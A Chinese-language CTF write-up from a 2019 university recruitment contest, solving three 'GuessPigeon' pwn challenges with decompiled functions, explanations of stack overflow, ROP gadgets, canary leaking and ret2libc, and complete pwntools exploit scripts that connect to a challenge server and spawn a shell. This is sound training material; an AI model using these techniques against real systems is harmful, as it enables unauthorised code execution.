cnss_recruit_2019 pwn write up

发布于 2019-09-14  853 次阅读


CNSS-PWN

GuessPigeon.7z

GuessPigeon

analyze

unsigned int __cdecl guess(int a1)
{
  char nptr; // [esp+8h] [ebp-70h]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  puts("Please input your guess:");
  __isoc99_scanf("%s", &nptr);
  if ( atoi(&nptr) == a1 )
  {
    puts("My Gooood!You guessed the pigeon number!!");
    getshell();
  }
  else
  {
    printf("You are wrong!The pigeon's number is %d\n try again~", a1);
  }
  return __readgsdword(0x14u) ^ v3;
}

可见 scanf处没有限制字符串长度大小,可以通过该处进行栈溢出

a1是调用guess函数时传入的参数,存在栈里面

nptr为输入的字符串,也存在栈里面

可知进行栈溢出可以将a1和nptr覆盖成一样的形式,从而getshell

虽然这道题有canary,但是并没有起到作用

char nptr; // [esp+8h] [ebp-70h]

题外话:关于padding的长度,一定要用gdb调试后算出来!!

用ida眼睛看的十有八九都是错的!!

exp.py

from pwn import *

p = remote("132.232.34.26",8888)
p.recvuntil('input your token:')
p.sendline("GuessPigeon")

payload = '123' + '\x00'
payload += 'a' * 0x74
payload += p32(123)

p.recvuntil('Please input your guess:')
p.sendline(payload)
p.interactive()

GuessPigeon2

analyze

int guess()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-70h]

  puts("Please input your guess:");
  __isoc99_scanf("%s", &buf);
  puts("You've been fooled.There are no pigenos here!\n Good bye~");
  puts("Do you want to get hint? yes/no?");
  read(0, &buf, 0x100uLL);
  result = strcmp(&buf, "yes");
  if ( !result )
    result = printf("Do you know \"%s\"\n", s);
  return result;
}

这次的ELF文件是64位的,传参方式为寄存器传参,这意味着我们需要用到ROP链来构造一段代码把参数传到寄存器里面去

rop

ROPgadget --binary GuessPigeon2 --only 'pop|ret' | grep 'rdi'

0x0000000000400933 : pop rdi ; ret

binsh

同时 字符串s刚好指向了 /bin/sh,利用system(s)可以getshell

查询了一下,system函数刚好存在于elf文件中,直接引用即可

0x400650

程序执行完guess之后,会跳到pop_rdi_ret的函数处,将rdi赋值为s的地址,接着调用system(),从而getshell

exp.py

from pwn import *

#p = process('./GuessPigeon2')
p = remote('132.232.34.26',8888)

pop_rdi_ret = 0x400933
system_addr = 0x400650
binsh_addr = 0x600E20

payload = 'a' * 0x78
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.recvuntil('input your token:')
p.sendline('GuessPigeon2')

p.recvuntil("Please input your guess:")
p.sendline('a')

p.recvuntil("Do you want to get hint? yes/no?")
p.sendline(payload)
p.interactive()

GuessPigeon3

analyze

unsigned int guess()
{
  char buf; // [esp+8h] [ebp-70h]
  unsigned int v2; // [esp+6Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  memset(&buf, 0, 0x64u);
  puts("You You have two chances. Please input your guess:");
  read(0, &buf, 0x100u);
  printf("You guessed the pigeon number is %s .\nI'm sorry, you guessed wrong.", &buf);
  puts("Please input your guess again:");
  read(0, &buf, 0x100u);
  puts("You've been fooled.There are no pigenos here!\n Good bye~");
  return __readgsdword(0x14u) ^ v2;
}

我们checksec一下

[*] '/home/mrh929/Desktop/cnss/GuessPigeon3/GuessPigeon3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序开启了Canary和栈不可执行,guess函数中有两个read函数,即有两个溢出点

第一个溢出点的后面紧跟着一个printf,推测可能是用来泄露canary用的

canary

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

canary是一种防止栈溢出的方式,通过在执行函数之前生成一个随机的canary,可以防止在函数结束之前有人通过read, scanf等不安全的函数进行栈溢出攻击,程序结束时会stack_check_fail,一旦canary被改变,程序将会马上退出

canary的特点是最低位为0, eg: 0x49d8c100 ,本意是将printf截断,我们在用padding填充的时候可以sendline,即在最后一位填上一个'\n',就可以做到将canary输出,当然最后要记得canary = out - 'a'

libc

程序中没有给出system函数和/bin/sh字符串

但是给了一个libc文件,libc文件是一个动态链接库,程序通过读取这个动态链接库来执行它想要的函数

当然这个动态链接库的地址就不是固定的了,虽然我们静态分析的时候会得到一个静态的地址,但这个并不是动态链接库的最终地址,我们需要将程序运行之后某个libc函数的地址泄露出来,算出它与libc中的静态地址的偏移,从而得到libc中每个函数的真实地址

plt got

https://ctf-wiki.github.io/ctf-wiki/executable/elf/elf-structure-zh/#global-offset-table

plt的本质上是一个指向got表的指针,系统调用函数的时候会首先jmp plt,由plt进行push ,再jmp的操作,最终读取到got表,将eip指向函数的真实地址。

这个生成got表的动作是动态的,所以在我们没有调用某个函数时这个函数的got表将不存有任何地址信息。我们想要得到某个libc函数的真实地址,最好的方法是找准一个已经被系统执行的函数,查询它的got表,从而得到这个函数的真实地址。

这道题中puts和read函数都是被程序执行过的,我们随意选取一个函数

elf.got['puts'] 调出got表地址,利用write(三个参数)或者puts(一个参数)函数将其输出

相当于把guess函数的返回地址设置为write/puts

注意,这里调用write/puts函数的本质也是调用plt表,在汇编层面其实等价于jmp addr

而这些函数都是需要ret/ leave 的,所以相应的我们应当在 write_plt 后面先加入一个 ret_addr ,再push 参数

after that

同样的,注意canary 和 write_plt之间也有12个字节的padding,我第一次做这题的时候也是在padding上面卡了很久,一定要用gdb仔细调试才能得出padding长度!!

ret_addr可以设置为guess,因为guess函数有两个溢出点,可以继续栈溢出

在我们得到read的真实地址之后,我们就可以通过

read_addr - libc.symbols['read']

来得出偏移offset了,现在我们就可以知道任何一个函数的真实地址了

再执行一遍guess,同样的要获取canary并且构造payload。

最后压入/bin/sh参数,执行system()

little trick

import pwnlib
pwnlib.gdb.attach(process)

可以对pwntools的过程进行调试

exp.py

import pwnlib
from pwn import *

#p = process('./GuessPigeon3')

p = remote('132.232.34.26',8888)
p.recvuntil('token:')
p.sendline('GuessPigeon3')

elf = ELF('./GuessPigeon3')
libc = ELF('libc.so.6')

ret_addr = elf.symbols['guess']
write_got = elf.got['write']
write_plt = elf.plt['write']
puts_plt = elf.plt['puts']

payload1 = 'a' *100
p.recvuntil('Please input your guess:')
p.sendline(payload1)
p.recvuntil(payload1)
canary = u32(p.recv(4)) - 0xa #get canary value

print "canary = " + str(hex(canary))

payload2 = 'b'*100 + p32(canary) + 'b'* 12
payload2 += p32(puts_plt) + p32(ret_addr) + p32(write_got)  

p.recvuntil("your guess again:")
p.send(payload2)

p.recvuntil('Good bye~\n')
write_addr = u32(p.recv(4))
print "libc_read_addr = " + hex(write_addr)

# return to guess()

payload3 = 'c' * 100
p.recvuntil('Please input your guess:')
p.sendline(payload3)
p.recvuntil(payload3)
canary = u32(p.recv(4)) - 0xa #another canary
print "canary' = " + str(hex(canary))

libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_binsh = libc.search('/bin/sh').next()
offset = write_addr - libc_write #offset between real_addr and libc_addr
system_addr = offset + libc_system
binsh_addr = offset + libc_binsh

payload4 = 'd'*100 + p32(canary)
payload4 += 'b'*12
payload4 += p32(system_addr) + p32(ret_addr) + p32(binsh_addr)

p.recvuntil('again:')
p.sendline(payload4)
p.interactive()

CTFer|NOIPer|CSGO|摸鱼|菜鸡